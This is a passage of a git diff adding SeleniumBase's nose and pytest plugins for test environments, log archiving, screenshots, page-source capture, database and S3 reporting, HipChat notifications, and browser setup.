+You can have tests behave differently based on the environment.
+You can access the values of these variables from the tests.
+"""
+
+import os
+import shutil
+import time
+from nose.plugins import Plugin
+from nose.exc import SkipTest
+from seleniumbase.config import settings
+from seleniumbase.core import log_helper
+from seleniumbase.core import report_helper
+from seleniumbase.fixtures import constants, errors
+
+
+class Base(Plugin):
+    """
+    The base_plugin includes the following variables:
+    self.options.env -- the environment for the tests to use (--env=ENV)
+    self.options.data -- any extra data to pass to the tests (--data=DATA)
+    self.options.log_path -- the directory in which the log files
+                            are saved (--log_path=LOG_PATH)
+    """
+    name = 'testing_base'  # Usage: --with-testing_base
+
+    def options(self, parser, env):
+        super(Base, self).options(parser, env=env)
+        parser.add_option(
+            '--env', action='store',
+            dest='environment',
+            choices=(
+                constants.Environment.QA,
+                constants.Environment.STAGING,
+                constants.Environment.PRODUCTION,
+                constants.Environment.MASTER,
+                constants.Environment.LOCAL,
+                constants.Environment.TEST),
+            default=constants.Environment.TEST,
+            help="The environment to run the tests in.")
+        parser.add_option(
+            '--data', dest='data',
+            default=None,
+            help='Extra data to pass from the command line.')
+        parser.add_option(
+            '--log_path', dest='log_path',
+            default='latest_logs/',
+            help='Where the log files are saved.')
+        parser.add_option(
+            '--report', action="store_true", dest='report',
+            default=False,
+            help='Create a fancy report at the end of the test suite.')
+        parser.add_option(
+            '--show_report', action="store_true",
+            dest='show_report',
+            default=False,
+            help="If true when using report, will display it after tests run.")
+
+    def configure(self, options, conf):
+        super(Base, self).configure(options, conf)
+        if not self.enabled:
+            return
+        self.options = options
+        log_path = options.log_path
+        self.report_on = options.report
+        self.show_report = options.show_report
+        if log_path.endswith("/"):
+            log_path = log_path[:-1]
+        if not os.path.exists(log_path):
+            os.makedirs(log_path)
+        else:
+            archived_folder = "%s/../archived_logs/" % log_path
+            if not os.path.exists(archived_folder):
+                os.makedirs(archived_folder)
+            archived_logs = "%slogs_%s" % (archived_folder, int(time.time()))
+            shutil.move(log_path, archived_logs)
+            os.makedirs(log_path)
+            if not settings.ARCHIVE_EXISTING_LOGS:
+                shutil.rmtree(archived_logs)
+        self.successes = []
+        self.failures = []
+        self.duration = float(0)
+        self.page_results_list = []
+        self.test_count = 0
+        self.import_error = False
+        if self.report_on:
+            report_helper.clear_out_old_report_logs(archive_past_runs=False)
+
+    def beforeTest(self, test):
+        test_logpath = self.options.log_path + "/" + test.id()
+        if not os.path.exists(test_logpath):
+            os.makedirs(test_logpath)
+        test.test.environment = self.options.environment
+        test.test.data = self.options.data
+        test.test.args = self.options
+        self.test_count += 1
+        self.duration = float(time.time())
+
+    def finalize(self, result):
+        if self.report_on:
+            if not self.import_error:
+                report_helper.add_bad_page_log_file(self.page_results_list)
+                report_log_path = report_helper.archive_new_report_logs()
+                report_helper.build_report(
+                    report_log_path,
+                    self.page_results_list,
+                    self.successes, self.failures,
+                    self.options.browser,
+                    self.show_report)
+
+    def __log_all_options_if_none_specified(self, test):
+        """
+        When testing_base is specified, but none of the log options to save are
+        specified (basic_test_info, screen_shots, page_source), then save them
+        all by default. Otherwise, save only selected ones from their plugins.
+        """
+        if ((not self.options.enable_plugin_basic_test_info) and
+                (not self.options.enable_plugin_screen_shots) and
+                (not self.options.enable_plugin_page_source)):
+            test_logpath = self.options.log_path + "/" + test.id()
+            log_helper.log_screenshot(test_logpath, test.driver)
+            log_helper.log_test_failure_data(
+                test_logpath, test.driver, test.browser)
+            log_helper.log_page_source(test_logpath, test.driver)
+
+    def addSuccess(self, test, capt):
+        if self.report_on:
+            self.duration = str(
+                "%0.3fs" % (float(time.time()) - float(self.duration)))
+            self.successes.append(test.id())
+            self.page_results_list.append(
+                report_helper.process_successes(
+                    test, self.test_count, self.duration))
+
+    def add_fails_or_errors(self, test):
+        if self.report_on:
+            self.duration = str(
+                "%0.3fs" % (float(time.time()) - float(self.duration)))
+            if test.id() == 'nose.failure.Failure.runTest':
+                print(">>> ERROR: Could not locate tests to run!")
+                print(">>> The Test Report WILL NOT be generated!")
+                self.import_error = True
+                return
+            self.failures.append(test.id())
+            br = self.options.browser
+            self.page_results_list.append(
+                report_helper.process_failures(
+                    test, self.test_count, br, self.duration))
+
+    def addFailure(self, test, err, capt=None, tbinfo=None):
+        self.__log_all_options_if_none_specified(test)
+        self.add_fails_or_errors(test)
+
+    def addError(self, test, err, capt=None):
+        """
+        Since Skip, Blocked, and Deprecated are all technically errors, but not
+        error states, we want to make sure that they don't show up in
+        the nose output as errors.
+        """
+        if (err[0] == errors.BlockedTest or
+                err[0] == errors.SkipTest or
+                err[0] == errors.DeprecatedTest):
+            print(err[1].__str__().split('''-------------------- >> '''
+                                         '''begin captured logging'''
+                                         ''' << --------------------''', 1)[0])
+        else:
+            self.__log_all_options_if_none_specified(test)
+        self.add_fails_or_errors(test)
+
+    def handleError(self, test, err, capt=None):
+        """
+        If the database plugin is not present, we have to handle capturing
+        "errors" that shouldn't be reported as such in base.
+        """
+        if not hasattr(test.test, "testcase_guid"):
+            if err[0] == errors.BlockedTest:
+                raise SkipTest(err[1])
+                return True
+
+            elif err[0] == errors.DeprecatedTest:
+                raise SkipTest(err[1])
+                return True
+
+            elif err[0] == errors.SkipTest:
+                raise SkipTest(err[1])
+                return True
diff --git a/SeleniumBase/seleniumbase/plugins/basic_test_info.py b/SeleniumBase/seleniumbase/plugins/basic_test_info.py
new file mode 100755
index 00000000..569a4f25
--- /dev/null
+++ b/SeleniumBase/seleniumbase/plugins/basic_test_info.py
@@ -0,0 +1,64 @@
+"""
+The plugin for saving basic test info to the logs for Selenium tests.
+The created file will be saved in the default logs folder (in .../logs)
+Data to be saved includes:
+* Last page url
+* Browser
+* Server
+* Error
+* Traceback
+"""
+
+import os
+import codecs
+import traceback
+from nose.plugins import Plugin
+from seleniumbase.config import settings
+
+
+class BasicTestInfo(Plugin):
+    """
+    This plugin will capture basic info when a test fails or
+    raises an error. It will store that basic test info in
+    the default logs or in the file specified by the user.
+    """
+    name = "basic_test_info"  # Usage: --with-basic_test_info
+
+    logfile_name = settings.BASIC_INFO_NAME
+
+    def options(self, parser, env):
+        super(BasicTestInfo, self).options(parser, env=env)
+
+    def configure(self, options, conf):
+        super(BasicTestInfo, self).configure(options, conf)
+        if not self.enabled:
+            return
+        self.options = options
+
+    def addError(self, test, err, capt=None):
+        test_logpath = self.options.log_path + "/" + test.id()
+        if not os.path.exists(test_logpath):
+            os.makedirs(test_logpath)
+        file_name = "%s/%s" % (test_logpath, self.logfile_name)
+        basic_info_file = codecs.open(file_name, "w+", "utf-8")
+        self.__log_test_error_data(basic_info_file, test, err, "Error")
+        basic_info_file.close()
+
+    def addFailure(self, test, err, capt=None, tbinfo=None):
+        test_logpath = self.options.log_path + "/" + test.id()
+        if not os.path.exists(test_logpath):
+            os.makedirs(test_logpath)
+        file_name = "%s/%s" % (test_logpath, self.logfile_name)
+        basic_info_file = codecs.open(file_name, "w+", "utf-8")
+        self.__log_test_error_data(basic_info_file, test, err, "Error")
+        basic_info_file.close()
+
+    def __log_test_error_data(self, log_file, test, err, type):
+        data_to_save = []
+        data_to_save.append("Last_Page: %s" % test.driver.current_url)
+        data_to_save.append("Browser: %s " % self.options.browser)
+        data_to_save.append("Server: %s " % self.options.servername)
+        data_to_save.append("%s: %s" % (type, err[0]))
+        data_to_save.append("Traceback: " + ''.join(
+            traceback.format_exception(*err)))
+        log_file.writelines("\r\n".join(data_to_save))
diff --git a/SeleniumBase/seleniumbase/plugins/db_reporting_plugin.py b/SeleniumBase/seleniumbase/plugins/db_reporting_plugin.py
new file mode 100755
index 00000000..055c2bc9
--- /dev/null
+++ b/SeleniumBase/seleniumbase/plugins/db_reporting_plugin.py
@@ -0,0 +1,139 @@
+"""
+This is the Database test reporting plugin for
+recording all test run data in the database.
+"""
+
+import getpass
+import time
+import uuid
+from optparse import SUPPRESS_HELP
+from nose.plugins import Plugin
+from nose.exc import SkipTest
+from seleniumbase.core.application_manager import ApplicationManager
+from seleniumbase.core.testcase_manager import ExecutionQueryPayload
+from seleniumbase.core.testcase_manager import TestcaseDataPayload
+from seleniumbase.core.testcase_manager import TestcaseManager
+from seleniumbase.fixtures import constants
+from seleniumbase.fixtures import errors
+
+
+class DBReporting(Plugin):
+    """
+    The plugin for reporting test results in the database.
+    """
+    name = 'db_reporting'  # Usage: --with-db_reporting
+
+    def __init__(self):
+        Plugin.__init__(self)
+        self.execution_guid = str(uuid.uuid4())
+        self.testcase_guid = None
+        self.execution_start_time = 0
+        self.case_start_time = 0
+        self.application = None
+        self.testcase_manager = None
+        self.error_handled = False
+
+    def options(self, parser, env):
+        super(DBReporting, self).options(parser, env=env)
+        parser.add_option('--database_environment', action='store',
+                          dest='database_env',
+                          choices=('prod', 'qa', 'test'),
+                          default='test',
+                          help=SUPPRESS_HELP)
+
+    def configure(self, options, conf):
+        super(DBReporting, self).configure(options, conf)
+        self.options = options
+        self.testcase_manager = TestcaseManager(self.options.database_env)
+
+    def begin(self):
+        """At the start of the run, we want to record the test
+        execution information in the database."""
+        exec_payload = ExecutionQueryPayload()
+        exec_payload.execution_start_time = int(time.time() * 1000)
+        self.execution_start_time = exec_payload.execution_start_time
+        exec_payload.guid = self.execution_guid
+        exec_payload.username = getpass.getuser()
+        self.testcase_manager.insert_execution_data(exec_payload)
+
+    def startTest(self, test):
+        """At the start of the test, set the testcase details."""
+        data_payload = TestcaseDataPayload()
+        self.testcase_guid = str(uuid.uuid4())
+        data_payload.guid = self.testcase_guid
+        data_payload.execution_guid = self.execution_guid
+        if hasattr(test, "browser"):
+            data_payload.browser = test.browser
+        else:
+            data_payload.browser = "N/A"
+        data_payload.testcaseAddress = test.id()
+        application = ApplicationManager.generate_application_string(test)
+        data_payload.env = application.split('.')[0]
+        data_payload.start_time = application.split('.')[1]
+        data_payload.state = constants.State.NOTRUN
+        self.testcase_manager.insert_testcase_data(data_payload)
+        self.case_start_time = int(time.time() * 1000)
+        # Make the testcase guid available to other plugins
+        test.testcase_guid = self.testcase_guid
+
+    def finalize(self, result):
+        """At the end of the run, we want to
+        update the DB row with the execution time."""
+        runtime = int(time.time() * 1000) - self.execution_start_time
+        self.testcase_manager.update_execution_data(self.execution_guid,
+                                                    runtime)
+
+    def addSuccess(self, test, capt):
+        """
+        After test completion, we want to record testcase run information.
+        """
+        self.__insert_test_result(constants.State.PASS, test)
+
+    def addError(self, test, err, capt=None):
+        """
+        After a test error, we want to record testcase run information.
+        """
+        self.__insert_test_result(constants.State.ERROR, test, err)
+
+    def handleError(self, test, err, capt=None):
+        """
+        After a test error, we want to record testcase run information.
+        "Error" also encompasses any states other than Pass or Fail, so we
+        check for those first.
+        """
+        if err[0] == errors.BlockedTest:
+            self.__insert_test_result(constants.State.BLOCKED, test, err)
+            self.error_handled = True
+            raise SkipTest(err[1])
+            return True
+
+        elif err[0] == errors.DeprecatedTest:
+            self.__insert_test_result(constants.State.DEPRECATED, test, err)
+            self.error_handled = True
+            raise SkipTest(err[1])
+            return True
+
+        elif err[0] == errors.SkipTest:
+            self.__insert_test_result(constants.State.SKIP, test, err)
+            self.error_handled = True
+            raise SkipTest(err[1])
+            return True
+
+    def addFailure(self, test, err, capt=None, tbinfo=None):
+        """
+        After a test failure, we want to record testcase run information.
+        """
+        self.__insert_test_result(constants.State.FAILURE, test, err)
+
+    def __insert_test_result(self, state, test, err=None):
+        data_payload = TestcaseDataPayload()
+        data_payload.runtime = int(time.time() * 1000) - self.case_start_time
+        data_payload.guid = self.testcase_guid
+        data_payload.execution_guid = self.execution_guid
+        data_payload.state = state
+        if err is not None:
+            data_payload.message = err[1].__str__().split(
+                '''-------------------- >> '''
+                '''begin captured logging'''
+                ''' << --------------------''', 1)[0]
+        self.testcase_manager.update_testcase_data(data_payload)
diff --git a/SeleniumBase/seleniumbase/plugins/hipchat_reporting_plugin.py b/SeleniumBase/seleniumbase/plugins/hipchat_reporting_plugin.py
new file mode 100755
index 00000000..675bda18
--- /dev/null
+++ b/SeleniumBase/seleniumbase/plugins/hipchat_reporting_plugin.py
@@ -0,0 +1,128 @@
+""" This plugin allows you to receive test notifications through HipChat.
+HipChat @ mentions will only occur during normal
+business hours. (You can change this)
+By default, only failure notifications will be sent.
+"""
+
+import os
+import requests
+import logging
+import datetime
+from nose.plugins import Plugin
+from seleniumbase.config import settings
+
+
+HIPCHAT_URL = 'https://api.hipchat.com/v1/rooms/message'
+HIPCHAT_AUTH_TOKEN = settings.HIPCHAT_AUTH_TOKEN
+
+
+class HipchatReporting(Plugin):
+    '''
+    Usage: --with-hipchat_reporting --hipchat_room_id=[HIPCHAT ROOM ID]
+           --hipchat_owner_to_mention=[HIPCHAT @NAME]
+    '''
+    name = 'hipchat_reporting'
+
+    def __init__(self):
+        super(HipchatReporting, self).__init__()
+        self.hipchat_room_id = None
+        self.hipchat_owner_to_mention = None
+        self.hipchat_notify_on_success = False
+        self.build_url = os.environ.get('BUILD_URL')
+        self.successes = []
+        self.failures = []
+        self.errors = []
+
+    def options(self, parser, env):
+        super(HipchatReporting, self).options(parser, env=env)
+        parser.add_option(
+            '--hipchat_room_id', action='store',
+            dest='hipchat_room_id',
+            help='The hipchat room ID notifications will be sent to.',
+            default=None)
+        parser.add_option(
+            '--hipchat_owner_to_mention', action='store',
+            dest='hipchat_owner_to_mention',
+            help='The hipchat username to @mention in notifications.',
+            default=None)
+        parser.add_option(
+            '--hipchat_notify_on_success', action='store_true',
+            default=False,
+            dest='hipchat_notify_on_success',
+            help='''Flag for including success notifications.
+                 If not specified, only notifies on errors/failures
+                 by default.''')
+
+    def configure(self, options, conf):
+        super(HipchatReporting, self).configure(options, conf)
+        if not self.enabled:
+            return
+        if not options.hipchat_room_id:
+            raise Exception('''A hipchat room ID to notify must be specified
+                            when using the hipchat reporting plugin.''')
+        else:
+            self.hipchat_room_id = options.hipchat_room_id
+        self.hipchat_owner_to_mention = (
+            options.hipchat_owner_to_mention or None)
+        self.hipchat_notify_on_success = options.hipchat_notify_on_success
+
+    def addSuccess(self, test, capt):
+        self.successes.append(test.id())
+
+    def addError(self, test, err, capt=None):
+        self.errors.append("ERROR: " + test.id())
+
+    def addFailure(self, test, err, capt=None, tbinfo=None):
+        self.failures.append("FAILED: " + test.id())
+
+    def finalize(self, result):
+        message = ''
+        success = True
+        if not result.wasSuccessful():
+            success = False
+            if (self.hipchat_owner_to_mention and
+                    self._is_during_business_hours()):
+                message += "@" + self.hipchat_owner_to_mention + '\n'
+
+            if self.failures:
+                message += "\n".join(self.failures)
+                if self.errors:
+                    message += '\n'
+            if self.errors:
+                message += "\n".join(self.errors)
+
+            if self.build_url:
+                message += '\n' + self.build_url
+
+        elif self.hipchat_notify_on_success and self.successes:
+            message = "SUCCESS! The following tests ran successfully:\n+ "
+            message += "\n+ ".join(self.successes)
+
+        if message:
+            self._send_hipchat_notification(message, success=success)
+
+    def _is_during_business_hours(self):
+        now = datetime.datetime.now()
+        # Mon - Fri, 9am-6pm
+        return now.weekday() <= 4 and now.hour >= 9 and now.hour <= 18
+
+    def _send_hipchat_notification(self, message, success=True,
+                                   sender='Selenium'):
+        response = requests.post(HIPCHAT_URL, params={
+            'auth_token': HIPCHAT_AUTH_TOKEN,
+            'room_id': self.hipchat_room_id,
+            'from': sender,
+            'message': message,
+            'message_format': 'text',
+            'color': 'green' if success else 'red',
+            'notify': '0',
+            'format': 'json'
+        })
+
+        if response.status_code == 200:
+            logging.debug("Notification sent to room %s", self.hipchat_room_id)
+            return True
+        else:
+            logging.error("Failed to send notification to room %s",
+                          self.hipchat_room_id)
+            return False
diff --git a/SeleniumBase/seleniumbase/plugins/page_source.py b/SeleniumBase/seleniumbase/plugins/page_source.py
new file mode 100755
index 00000000..292eb59a
--- /dev/null
+++ b/SeleniumBase/seleniumbase/plugins/page_source.py
@@ -0,0 +1,60 @@
+"""
+The plugin for capturing and storing the page source on errors and failures.
+"""
+
+import os
+import codecs
+from nose.plugins import Plugin
+from seleniumbase.config import settings
+from seleniumbase.core import log_helper
+
+
+class PageSource(Plugin):
+    """
+    This plugin will capture the page source when a test fails
+    or raises an error. It will store the page source in the
+    logs file specified, along with default test information.
+    """
+    name = "page_source"  # Usage: --with-page_source
+    logfile_name = settings.PAGE_SOURCE_NAME
+
+    def options(self, parser, env):
+        super(PageSource, self).options(parser, env=env)
+
+    def configure(self, options, conf):
+        super(PageSource, self).configure(options, conf)
+        if not self.enabled:
+            return
+        self.options = options
+
+    def addError(self, test, err, capt=None):
+        try:
+            page_source = test.driver.page_source
+        except Exception:
+            # Since we can't get the page source from here, skip saving it
+            return
+        test_logpath = self.options.log_path + "/" + test.id()
+        if not os.path.exists(test_logpath):
+            os.makedirs(test_logpath)
+        html_file_name = "%s/%s" % (test_logpath, self.logfile_name)
+        html_file = codecs.open(html_file_name, "w+", "utf-8")
+        rendered_source = log_helper.get_html_source_with_base_href(
+            test.driver, page_source)
+        html_file.write(rendered_source)
+        html_file.close()
+
+    def addFailure(self, test, err, capt=None, tbinfo=None):
+        try:
+            page_source = test.driver.page_source
+        except Exception:
+            # Since we can't get the page source from here, skip saving it
+            return
+        test_logpath = self.options.log_path + "/" + test.id()
+        if not os.path.exists(test_logpath):
+            os.makedirs(test_logpath)
+        html_file_name = "%s/%s" % (test_logpath, self.logfile_name)
+        html_file = codecs.open(html_file_name, "w+", "utf-8")
+        rendered_source = log_helper.get_html_source_with_base_href(
+            test.driver, page_source)
+        html_file.write(rendered_source)
+        html_file.close()
diff --git a/SeleniumBase/seleniumbase/plugins/pytest_plugin.py b/SeleniumBase/seleniumbase/plugins/pytest_plugin.py
new file mode 100644
index 00000000..9f925388
--- /dev/null
+++ b/SeleniumBase/seleniumbase/plugins/pytest_plugin.py
@@ -0,0 +1,164 @@
+""" This is the pytest configuration file """
+
+import optparse
+import os
+import pytest
+import shutil
+import time
+from seleniumbase.config import settings
+from seleniumbase.fixtures import constants
+
+
+def pytest_addoption(parser):
+    parser = parser.getgroup('SeleniumBase',
+                             'SeleniumBase specific configuration options')
+    parser.addoption('--browser', action="store",
+                     dest='browser',
+                     choices=constants.Browser.VERSION.keys(),
+                     default=constants.Browser.GOOGLE_CHROME,
+                     help="""Specifies the web browser to use. Default: Chrome.
+                          If you want to use Firefox, explicitly indicate that.
+                          Example: (--browser=firefox)""")
+    parser.addoption('--with-selenium', action="store_true",
+                     dest='with_selenium',
+                     default=False,
+                     help="Use if tests need to be run with a web browser.")
+    parser.addoption('--data', dest='data',
+                     default=None,
+                     help='Extra data to pass from the command line.')
+    parser.addoption('--with-testing_base', action="store_true",
+                     dest='with_testing_base',
+                     default=False,
+                     help="Use to save logs (screenshots) when tests fail.")
+    parser.addoption('--log_path', dest='log_path',
+                     default='latest_logs/',
+                     help='Where the log files are saved.')
+    parser.addoption('--with-db_reporting', action="store_true",
+                     dest='with_db_reporting',
+                     default=False,
+                     help="Use to record test data in the MySQL database.")
+    parser.addoption('--database_env', action='store',
+                     dest='database_env',
+                     choices=('prod', 'qa', 'test'),
+                     default='test',
+                     help=optparse.SUPPRESS_HELP)
+    parser.addoption('--with-s3_logging', action="store_true",
+                     dest='with_s3_logging',
+                     default=False,
+                     help="Use to save test log files in Amazon S3.")
+    parser.addoption('--with-screen_shots', action="store_true",
+                     dest='with_screen_shots',
+                     default=False,
+                     help="Use to save screenshots on test failure.")
+    parser.addoption('--with-basic_test_info', action="store_true",
+                     dest='with_basic_test_info',
+                     default=False,
+                     help="Use to save basic test info on test failure.")
+    parser.addoption('--with-page_source', action="store_true",
+                     dest='with_page_source',
+                     default=False,
+                     help="Use to save page source on test failure.")
+    parser.addoption('--headless', action="store_true",
+                     dest='headless',
+                     default=False,
+                     help="""Using this makes Webdriver run headlessly,
+                          which is useful inside a Linux Docker.""")
+    parser.addoption('--is_pytest', action="store_true",
+                     dest='is_pytest',
+                     default=True,
+                     help="""This is used by the BaseCase class to tell apart
+                          pytest runs from nosetest runs. (Automatic)""")
+    parser.addoption('--demo_mode', action="store_true",
+                     dest='demo_mode',
+                     default=False,
+                     help="""Using this slows down the automation so that
+                          you can see what it's actually doing.""")
+    parser.addoption('--demo_sleep', action='store', dest='demo_sleep',
+                     default=None,
+                     help="""Setting this overrides the Demo Mode sleep
+                          time that happens after browser actions.""")
+    parser.addoption('--highlights', action='store', dest='highlights',
+                     default=None,
+                     help="""Setting this overrides the default number of
+                          highlight animation loops to have per call.""")
+    parser.addoption('--verify_delay', action='store', dest='verify_delay',
+                     default=None,
+                     help="""Setting this overrides the default wait time
+                          before each MasterQA verification pop-up.""")
+    parser.addoption('--timeout_multiplier', action='store',
+                     dest='timeout_multiplier',
+                     default=None,
+                     help="""Setting this overrides the default timeout
+                          by the multiplier when waiting for page elements.
+                          Unused when tests overide the default value.""")
+
+
+def pytest_configure(config):
+    """ This runs after command line options have been parsed """
+    log_folder_setup(config)
+
+
+def log_folder_setup(config):
+    """ Handle Logging """
+    with_testing_base = config.getoption('with_testing_base')
+    if with_testing_base:
+        log_path = config.getoption('log_path')
+        if log_path.endswith("/"):
+            log_path = log_path[:-1]
+        if not os.path.exists(log_path):
+            os.makedirs(log_path)
+        else:
+            archived_folder = "%s/../archived_logs/" % log_path
+            if not os.path.exists(archived_folder):
+                os.makedirs(archived_folder)
+            archived_logs = "%slogs_%s" % (archived_folder, int(time.time()))
+            shutil.move(log_path, archived_logs)
+            os.makedirs(log_path)
+            if not settings.ARCHIVE_EXISTING_LOGS:
+                shutil.rmtree(archived_logs)
+
+
+def pytest_unconfigure():
+    """ This runs after all tests have completed with pytest """
+    pass
+
+
+def pytest_runtest_setup():
+    """ This runs before every test with pytest """
+    pass
+
+
+def pytest_runtest_teardown(item):
+    """ This runs after every test with pytest """
+
+    # Make sure webdriver has exited properly and any headless display
+    try:
+        self = item._testcase
+        try:
+            if hasattr(self, 'driver') and self.driver:
+                self.driver.quit()
+        except:
+            pass
+        try:
+            if hasattr(self, 'headless') and self.headless:
+                if self.headless_active:
+                    if hasattr(self, 'display') and self.display:
+                        self.display.stop()
+        except:
+            pass
+    except:
+        pass
+
+
+@pytest.mark.hookwrapper
+def pytest_runtest_makereport(item, call):
+    pytest_html = item.config.pluginmanager.getplugin('html')
+    outcome = yield
+    report = outcome.get_result()
+    if pytest_html and report.when == 'call':
+        try:
+            extra_report = item._testcase._html_report_extra
+            extra = getattr(report, 'extra', [])
+            report.extra = extra + extra_report
+        except:
+            pass
diff --git a/SeleniumBase/seleniumbase/plugins/s3_logging_plugin.py b/SeleniumBase/seleniumbase/plugins/s3_logging_plugin.py
new file mode 100755
index 00000000..881a4a72
--- /dev/null
+++ b/SeleniumBase/seleniumbase/plugins/s3_logging_plugin.py
@@ -0,0 +1,51 @@
+"""
+The S3 Logging Plugin to upload all logs to the S3 bucket specifed.
+"""
+
+import uuid
+import logging
+import os
+from seleniumbase.core.s3_manager import S3LoggingBucket
+from nose.plugins import Plugin
+
+
+class S3Logging(Plugin):
+    """
+    The plugin for uploading test logs to the S3 bucket specified.
+    """
+    name = 's3_logging'  # Usage: --with-s3_logging
+
+    def configure(self, options, conf):
+        """ Get the options. """
+        super(S3Logging, self).configure(options, conf)
+        self.options = options
+
+    def afterTest(self, test):
+        """ After each testcase, upload logs to the S3 bucket. """
+        s3_bucket = S3LoggingBucket()
+        guid = str(uuid.uuid4().hex)
+        path = "%s/%s" % (self.options.log_path,
+                          test.test.id())
+        uploaded_files = []
+        for logfile in os.listdir(path):
+            logfile_name = "%s/%s/%s" % (guid,
+                                         test.test.id(),
+                                         logfile.split(path)[-1])
+            s3_bucket.upload_file(logfile_name,
+                                  "%s/%s" % (path, logfile))
+            uploaded_files.append(logfile_name)
+        s3_bucket.save_uploaded_file_names(uploaded_files)
+        index_file = s3_bucket.upload_index_file(test.id(), guid)
+        print("\n\n*** Log files uploaded: ***\n%s\n" % index_file)
+        logging.error("\n\n*** Log files uploaded: ***\n%s\n" % index_file)
+
+        # If the database plugin is running, attach a link
+        # to the logs index database row
+        if hasattr(test.test, "testcase_guid"):
+            from seleniumbase.core.testcase_manager \
+                import TestcaseDataPayload, TestcaseManager
+            self.testcase_manager = TestcaseManager(self.options.database_env)
+            data_payload = TestcaseDataPayload()
+            data_payload.guid = test.test.testcase_guid
+            data_payload.logURL = index_file
+            self.testcase_manager.update_testcase_log_url(data_payload)
diff --git a/SeleniumBase/seleniumbase/plugins/screen_shots.py b/SeleniumBase/seleniumbase/plugins/screen_shots.py
new file mode 100755
index 00000000..ef815267
--- /dev/null
+++ b/SeleniumBase/seleniumbase/plugins/screen_shots.py
@@ -0,0 +1,40 @@
+"""
+Contains the screenshot plugin for the selenium tests.
+"""
+
+import os
+from nose.plugins import Plugin
+from seleniumbase.config import settings
+
+
+class ScreenShots(Plugin):
+    """
+    This plugin will take a screenshot when either a test fails
+    or raises an error. It will store that screenshot either in
+    the default logs file or in another file of the user's specification.
+    """
+
+    name = "screen_shots"
+    logfile_name = settings.SCREENSHOT_NAME
+
+    def options(self, parser, env):
+        super(ScreenShots, self).options(parser, env=env)
+
+    def configure(self, options, conf):
+        super(ScreenShots, self).configure(options, conf)
+        if not self.enabled:
+            return
+        self.options = options
+
+    def add_screenshot(self, test, err, capt=None, tbinfo=None):
+        test_logpath = self.options.log_path + "/" + test.id()
+        if not os.path.exists(test_logpath):
+            os.makedirs(test_logpath)
+        screenshot_file = "%s/%s" % (test_logpath, self.logfile_name)
+        test.driver.get_screenshot_as_file(screenshot_file)
+
+    def addError(self, test, err, capt=None):
+        self.add_screenshot(test, err, capt=capt)
+
+    def addFailure(self, test, err, capt=None, tbinfo=None):
+        self.add_screenshot(test, err, capt=capt, tbinfo=tbinfo)
diff --git a/SeleniumBase/seleniumbase/plugins/selenium_plugin.py b/SeleniumBase/seleniumbase/plugins/selenium_plugin.py
new file mode 100755
index 00000000..6fc1aa47
--- /dev/null
+++ b/SeleniumBase/seleniumbase/plugins/selenium_plugin.py
@@ -0,0 +1,202 @@
+"""
+This plugin gives the power of Selenium to nosetests
+by providing a WebDriver object for the tests to use.
+"""
+
+import time
+import os
+from nose.plugins import Plugin
+from selenium import webdriver
+from pyvirtualdisplay import Display
+from seleniumbase.core import selenium_launcher
+from seleniumbase.core import browser_launcher
+from seleniumbase.fixtures import constants
+
+
+class SeleniumBrowser(Plugin):
+    """
+    The plugin for Selenium tests. Takes in key arguments and then
+    creates a WebDriver object. All arguments are passed to the tests.
+
+    The following command line options are available to the tests:
+    self.options.browser -- the browser to use (--browser)
+    self.options.server -- the server used by the test (--server)
+    self.options.port -- the port used by the test (--port)
+    self.options.headless -- the option to run headlessly (--headless)
+    self.options.demo_mode -- the option to slow down Selenium (--demo_mode)
+    self.options.demo_sleep -- Selenium action delay in DemoMode (--demo_sleep)
+    self.options.highlights -- # of highlight animations shown (--highlights)
+    self.options.verify_delay -- delay before MasterQA checks (--verify_delay)
+    self.options.timeout_multiplier -- increase defaults (--timeout_multiplier)
+    """
+    name = 'selenium'  # Usage: --with-selenium
+
+    def options(self, parser, env):
+        super(SeleniumBrowser, self).options(parser, env=env)
+
+        parser.add_option(
+            '--browser', action='store',
+            dest='browser',
+            choices=constants.Browser.VERSION.keys(),
+            default=constants.Browser.GOOGLE_CHROME,
+            help="""Specifies the web browser to use. Default: Chrome.
+                    If you want to use Firefox, explicitly indicate that.
+                    Example: (--browser=firefox)""")
+        parser.add_option(
+            '--browser_version', action='store',
+            dest='browser_version',
+            default="latest",
+            help="""The browser version to use. Explicitly select
+                    a version number or use "latest".""")
+        parser.add_option(
+            '--server', action='store', dest='servername',
+            default='localhost',
+            help="""Designates the server used by the test.
+                    Default: localhost.""")
+        parser.add_option(
+            '--port', action='store', dest='port',
+            default='4444',
+            help="""Designates the port used by the test.
+                    Default: 4444.""")
+        parser.add_option(
+            '--headless', action="store_true",
+            dest='headless',
+            default=False,
+            help="""Using this makes Webdriver run headlessly,
+                    which is useful inside a Linux Docker.""")
+        parser.add_option(
+            '--demo_mode', action="store_true",
+            dest='demo_mode',
+            default=False,
+            help="""Using this slows down the automation so that
+                    you can see what it's actually doing.""")
+        parser.add_option(
+            '--demo_sleep', action='store', dest='demo_sleep',
+            default=None,
+            help="""Setting this overrides the Demo Mode sleep
+                    time that happens after browser actions.""")
+        parser.add_option(
+            '--highlights', action='store',
+            dest='highlights', default=None,
+            help="""Setting this overrides the default number of
+                    highlight animation loops to have per call.""")
+        parser.add_option(
+            '--verify_delay', action='store',
+            dest='verify_delay', default=None,
+            help="""Setting this overrides the default wait time
+                    before each MasterQA verification pop-up.""")
+        parser.add_option(
+            '--timeout_multiplier', action='store',
+            dest='timeout_multiplier',
+            default=None,
+            help="""Setting this overrides the default timeout
+                    by the multiplier when waiting for page elements.
+                    Unused when tests overide the default value.""")
+
+    def configure(self, options, conf):
+        super(SeleniumBrowser, self).configure(options, conf)
+        if not self.enabled:
+            return
+
+        # Determine the browser version to use, and configure settings
+        self.browser_settings = {
+            "browserName": options.browser,
+            'name': self.conf.testNames[0],
+            'build': os.getenv('BUILD_TAG'),
+            'project': os.getenv('JOB_NAME')
+        }
+
+        if options.browser == constants.Browser.INTERNET_EXPLORER:
+            self.browser_settings["platform"] = "WINDOWS"
+            self.browser_settings["browserName"] = "internet explorer"
+
+        if options.browser_version == 'latest':
+            version = constants.Browser.LATEST[options.browser]
+            if version is not None:
+                self.browser_settings["version"] = version
+        else:
+            version_options = constants.Browser.VERSION[options.browser]
+            if (version_options is not None and
+                    options.browser_version in version_options):
+                self.browser_settings["version"] = options.browser_version
+
+        self.options = options
+        self.headless_active = False
+
+        if (self.options.servername == "localhost" and
+                self.options.browser == constants.Browser.HTML_UNIT):
+            selenium_launcher.execute_selenium(self.options.servername,
+                                               self.options.port,
+                                               self.options.log_path)
+
+    def beforeTest(self, test):
+        """ Running Selenium locally will be handled differently
